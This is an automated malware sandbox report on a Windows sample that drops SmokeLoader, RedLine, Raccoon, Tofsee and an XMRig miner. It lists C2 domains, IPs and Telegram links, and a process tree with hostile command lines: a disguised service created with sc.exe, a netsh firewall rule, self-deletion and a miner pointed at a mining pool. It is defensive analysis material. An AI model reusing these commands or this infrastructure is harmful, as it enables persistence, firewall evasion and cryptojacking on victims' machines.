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Overview

overview

10

Static

static

39bad05eb4...86.exe

windows7_x64

10

39bad05eb4...86.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    134s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    27/09/2021, 05:06

Sharing

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General

  • Target

    39bad05eb49062c256b8f7e215e6eb86.exe

  • Size

    136KB

  • MD5

    39bad05eb49062c256b8f7e215e6eb86

  • SHA1

    32c01c2fdb17d53a67cf6ccf2e26feb0716cc449

  • SHA256

    e32667f798148a1033335863662b7524016f70895a5c35eefca03d107e62476a

  • SHA512

    ad812922770f7638cb37ee8e09f3dbbddf13bce77ea4a094955520e274debf402c662845b43797aa01aa82715ed528b2f76960637e5c8ceacf4b1c4866ac22fc

Score
10/10
arkeichinese_generic_botnetraccoonredlinesmokeloadertofseexmrig5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4a72c96f6762e4258a13dee8bc0dd14557df18467b2f2e53f9e27f901d453d8f6fbafe1b4d5266bb7blissinstallszxc1karmaz0rm1onbuildbackdoorbotnetdiscoveryevasioninfostealerminerpersistencespywarestealerthemidatrojan

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://naghenrietti1.top/

http://kimballiett2.top/

http://xadriettany3.top/

http://jebeccallis4.top/

http://nityanneron5.top/

http://umayaniela6.top/

http://lynettaram7.top/

http://sadineyalas8.top/

http://geenaldencia9.top/

http://aradysiusep10.top/
rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

installszxc1

C2

138.124.186.2:27999

Extracted

Family

redline

Botnet

z0rm1onbuild

C2

45.156.21.209:56326

Extracted

Family

raccoon

Botnet

a72c96f6762e4258a13dee8bc0dd14557df18467

Attributes
  • url4cnc

    https://t.me/h_wacel1new_1

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

b2f2e53f9e27f901d453d8f6fbafe1b4d5266bb7

Attributes
  • url4cnc

    https://t.me/hcdrom1

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

karma

C2

94.103.9.133:39323

Extracted

Family

redline

Botnet

Bliss

C2

185.237.98.178:62607

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

    stealerarkei
  • Generic Chinese Botnet

    A botnet originating from China which is currently unnamed publicly.

    botnetchinese_generic_botnet
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 8 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Arkei Stealer Payload 1 IoCs
    stealer
  • Chinese Botnet Payload 1 IoCs
    botnet
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Executes dropped EXE 19 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 7 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Modifies data under HKEY_USERS 62 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 26 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\39bad05eb49062c256b8f7e215e6eb86.exe
    "C:\Users\Admin\AppData\Local\Temp\39bad05eb49062c256b8f7e215e6eb86.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:844
    • C:\Users\Admin\AppData\Local\Temp\39bad05eb49062c256b8f7e215e6eb86.exe
      "C:\Users\Admin\AppData\Local\Temp\39bad05eb49062c256b8f7e215e6eb86.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2040
  • C:\Users\Admin\AppData\Local\Temp\23F4.exe
    C:\Users\Admin\AppData\Local\Temp\23F4.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1700
    • C:\Users\Admin\AppData\Local\Temp\23F4.exe
      C:\Users\Admin\AppData\Local\Temp\23F4.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:768
  • C:\Users\Admin\AppData\Local\Temp\2A6A.exe
    C:\Users\Admin\AppData\Local\Temp\2A6A.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:1392
  • C:\Users\Admin\AppData\Local\Temp\35B1.exe
    C:\Users\Admin\AppData\Local\Temp\35B1.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1124
    • C:\Users\Admin\AppData\Local\Temp\35B1.exe
      "C:\Users\Admin\AppData\Local\Temp\35B1.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:680
  • C:\Users\Admin\AppData\Local\Temp\5CB2.exe
    C:\Users\Admin\AppData\Local\Temp\5CB2.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:1624
  • C:\Users\Admin\AppData\Local\Temp\60C9.exe
    C:\Users\Admin\AppData\Local\Temp\60C9.exe
    1⤵
    • Executes dropped EXE
    PID:1824
  • C:\Users\Admin\AppData\Local\Temp\70B1.exe
    C:\Users\Admin\AppData\Local\Temp\70B1.exe
    1⤵
    • Executes dropped EXE
    PID:1020
  • C:\Users\Admin\AppData\Local\Temp\7821.exe
    C:\Users\Admin\AppData\Local\Temp\7821.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:1592
  • C:\Users\Admin\AppData\Local\Temp\7D70.exe
    C:\Users\Admin\AppData\Local\Temp\7D70.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks processor information in registry
    PID:452
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7D70.exe" & exit
      2⤵
        PID:1648
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 5
          3⤵
          • Delays execution with timeout.exe
          PID:1124
    • C:\Users\Admin\AppData\Local\Temp\8119.exe
      C:\Users\Admin\AppData\Local\Temp\8119.exe
      1⤵
      • Executes dropped EXE
      PID:628
      • C:\Users\Admin\AppData\Local\Temp\SindonsWelfare_2021-09-26_15-02.exe
        "C:\Users\Admin\AppData\Local\Temp\SindonsWelfare_2021-09-26_15-02.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1604
      • C:\Users\Admin\AppData\Local\Temp\SolanumsYoghurt_2021-09-26_14-52.exe
        "C:\Users\Admin\AppData\Local\Temp\SolanumsYoghurt_2021-09-26_14-52.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:268
      • C:\Users\Admin\AppData\Local\Temp\fbf.exe
        "C:\Users\Admin\AppData\Local\Temp\fbf.exe"
        2⤵
        • Executes dropped EXE
        • Enumerates connected drives
        • Drops file in Program Files directory
        • Checks processor information in registry
        • Suspicious use of SetWindowsHookEx
        PID:1300
    • C:\Users\Admin\AppData\Local\Temp\8712.exe
      C:\Users\Admin\AppData\Local\Temp\8712.exe
      1⤵
      • Executes dropped EXE
      PID:796
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\atdikxuu\
        2⤵
          PID:844
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\nugtcpqk.exe" C:\Windows\SysWOW64\atdikxuu\
          2⤵
            PID:1904
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" create atdikxuu binPath= "C:\Windows\SysWOW64\atdikxuu\nugtcpqk.exe /d\"C:\Users\Admin\AppData\Local\Temp\8712.exe\"" type= own start= auto DisplayName= "wifi support"
            2⤵
              PID:1700
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" description atdikxuu "wifi internet conection"
              2⤵
                PID:1948
              • C:\Windows\SysWOW64\sc.exe
                "C:\Windows\System32\sc.exe" start atdikxuu
                2⤵
                  PID:1268
                • C:\Windows\SysWOW64\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                  2⤵
                    PID:1872
                • C:\Users\Admin\AppData\Local\Temp\8C13.exe
                  C:\Users\Admin\AppData\Local\Temp\8C13.exe
                  1⤵
                  • Executes dropped EXE
                  PID:1596
                • C:\Windows\SysWOW64\atdikxuu\nugtcpqk.exe
                  C:\Windows\SysWOW64\atdikxuu\nugtcpqk.exe /d"C:\Users\Admin\AppData\Local\Temp\8712.exe"
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:428
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    PID:1572
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                      3⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2304
                • C:\Program Files (x86)\Microsoft Ouigga\Uuuocai.exe
                  "C:\Program Files (x86)\Microsoft Ouigga\Uuuocai.exe"
                  1⤵
                  • Executes dropped EXE
                  • Drops file in System32 directory
                  • Modifies data under HKEY_USERS
                  • Suspicious use of SetWindowsHookEx
                  PID:2552
                  • C:\Program Files (x86)\Microsoft Ouigga\Uuuocai.exe
                    "C:\Program Files (x86)\Microsoft Ouigga\Uuuocai.exe" Win7
                    2⤵
                    • Executes dropped EXE
                    • Drops file in System32 directory
                    • Modifies data under HKEY_USERS
                    • Suspicious use of SetWindowsHookEx
                    PID:2632

                Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • memory/268-171-0x0000000002100000-0x0000000002122000-memory.dmp

                  Filesize

                  136KB

                  Download

                • memory/268-182-0x0000000004764000-0x0000000004766000-memory.dmp

                  Filesize

                  8KB

                  Download

                • memory/268-180-0x0000000004763000-0x0000000004764000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/268-170-0x0000000001FC0000-0x0000000001FE3000-memory.dmp

                  Filesize

                  140KB

                  Download

                • memory/268-178-0x0000000004761000-0x0000000004762000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/268-179-0x0000000004762000-0x0000000004763000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/268-174-0x0000000000230000-0x0000000000267000-memory.dmp

                  Filesize

                  220KB

                  Download

                • memory/268-175-0x0000000000400000-0x00000000004CB000-memory.dmp

                  Filesize

                  812KB

                  Download

                • memory/428-158-0x0000000000400000-0x00000000004AD000-memory.dmp

                  Filesize

                  692KB

                  Download

                • memory/452-118-0x00000000002A0000-0x00000000002CD000-memory.dmp

                  Filesize

                  180KB

                  Download

                • memory/452-125-0x0000000000400000-0x000000000044D000-memory.dmp

                  Filesize

                  308KB

                  Download

                • memory/628-122-0x00000000000F0000-0x00000000000F1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/680-80-0x0000000000400000-0x0000000000422000-memory.dmp

                  Filesize

                  136KB

                  Download

                • memory/680-85-0x00000000048E0000-0x00000000048E1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/680-83-0x0000000000400000-0x0000000000422000-memory.dmp

                  Filesize

                  136KB

                  Download

                • memory/796-141-0x0000000000400000-0x00000000004AD000-memory.dmp

                  Filesize

                  692KB

                  Download

                • memory/796-140-0x0000000000220000-0x0000000000233000-memory.dmp

                  Filesize

                  76KB

                  Download

                • memory/844-56-0x0000000000220000-0x0000000000229000-memory.dmp

                  Filesize

                  36KB

                  Download

                • memory/1020-102-0x0000000002290000-0x0000000002291000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1020-107-0x00000000001D0000-0x0000000000963000-memory.dmp

                  Filesize

                  7.6MB

                  Download

                • memory/1020-106-0x00000000023E0000-0x00000000023E1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1020-105-0x00000000022C0000-0x00000000022C1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1020-104-0x00000000022B0000-0x00000000022B1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1020-103-0x00000000022A0000-0x00000000022A1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1020-101-0x00000000001C0000-0x00000000001C1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1124-76-0x00000000012C0000-0x00000000012C1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1124-78-0x00000000003A0000-0x00000000003BD000-memory.dmp

                  Filesize

                  116KB

                  Download

                • memory/1124-77-0x0000000004E10000-0x0000000004E11000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1272-57-0x0000000001DD0000-0x0000000001DE6000-memory.dmp

                  Filesize

                  88KB

                  Download

                • memory/1272-86-0x0000000003B80000-0x0000000003B96000-memory.dmp

                  Filesize

                  88KB

                  Download

                • memory/1300-183-0x0000000000320000-0x00000000003DC000-memory.dmp

                  Filesize

                  752KB

                  Download

                • memory/1300-184-0x0000000000400000-0x00000000004C4000-memory.dmp

                  Filesize

                  784KB

                  Download

                • memory/1300-186-0x0000000010000000-0x0000000010018000-memory.dmp

                  Filesize

                  96KB

                  Download

                • memory/1392-64-0x0000000000090000-0x0000000000091000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1392-72-0x00000000052B0000-0x00000000052B1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1572-155-0x0000000000080000-0x0000000000095000-memory.dmp

                  Filesize

                  84KB

                  Download

                • memory/1592-112-0x0000000000860000-0x0000000000861000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1592-114-0x0000000005550000-0x0000000005551000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1596-146-0x0000000001C50000-0x0000000001CE0000-memory.dmp

                  Filesize

                  576KB

                  Download

                • memory/1596-147-0x0000000000400000-0x00000000004F0000-memory.dmp

                  Filesize

                  960KB

                  Download

                • memory/1604-165-0x0000000000230000-0x0000000000260000-memory.dmp

                  Filesize

                  192KB

                  Download

                • memory/1604-177-0x0000000004A23000-0x0000000004A24000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1604-166-0x0000000004A21000-0x0000000004A22000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1604-167-0x0000000000400000-0x00000000004C5000-memory.dmp

                  Filesize

                  788KB

                  Download

                • memory/1604-168-0x0000000001F40000-0x0000000001F5F000-memory.dmp

                  Filesize

                  124KB

                  Download

                • memory/1604-169-0x0000000001F70000-0x0000000001F8E000-memory.dmp

                  Filesize

                  120KB

                  Download

                • memory/1604-181-0x0000000004A24000-0x0000000004A26000-memory.dmp

                  Filesize

                  8KB

                  Download

                • memory/1604-176-0x0000000004A22000-0x0000000004A23000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1624-132-0x000000001A856000-0x000000001A875000-memory.dmp

                  Filesize

                  124KB

                  Download

                • memory/1624-94-0x00000000003F0000-0x000000000040E000-memory.dmp

                  Filesize

                  120KB

                  Download

                • memory/1624-91-0x000000001A850000-0x000000001A852000-memory.dmp

                  Filesize

                  8KB

                  Download

                • memory/1624-90-0x0000000001340000-0x0000000001341000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1824-96-0x0000000000220000-0x00000000002B0000-memory.dmp

                  Filesize

                  576KB

                  Download

                • memory/1824-97-0x0000000000400000-0x00000000004F1000-memory.dmp

                  Filesize

                  964KB

                  Download

                • memory/2040-53-0x0000000000400000-0x0000000000409000-memory.dmp

                  Filesize

                  36KB

                  Download

                • memory/2040-55-0x0000000074F81000-0x0000000074F83000-memory.dmp

                  Filesize

                  8KB

                  Download

                • memory/2304-188-0x0000000000190000-0x0000000000281000-memory.dmp

                  Filesize

                  964KB

                  Download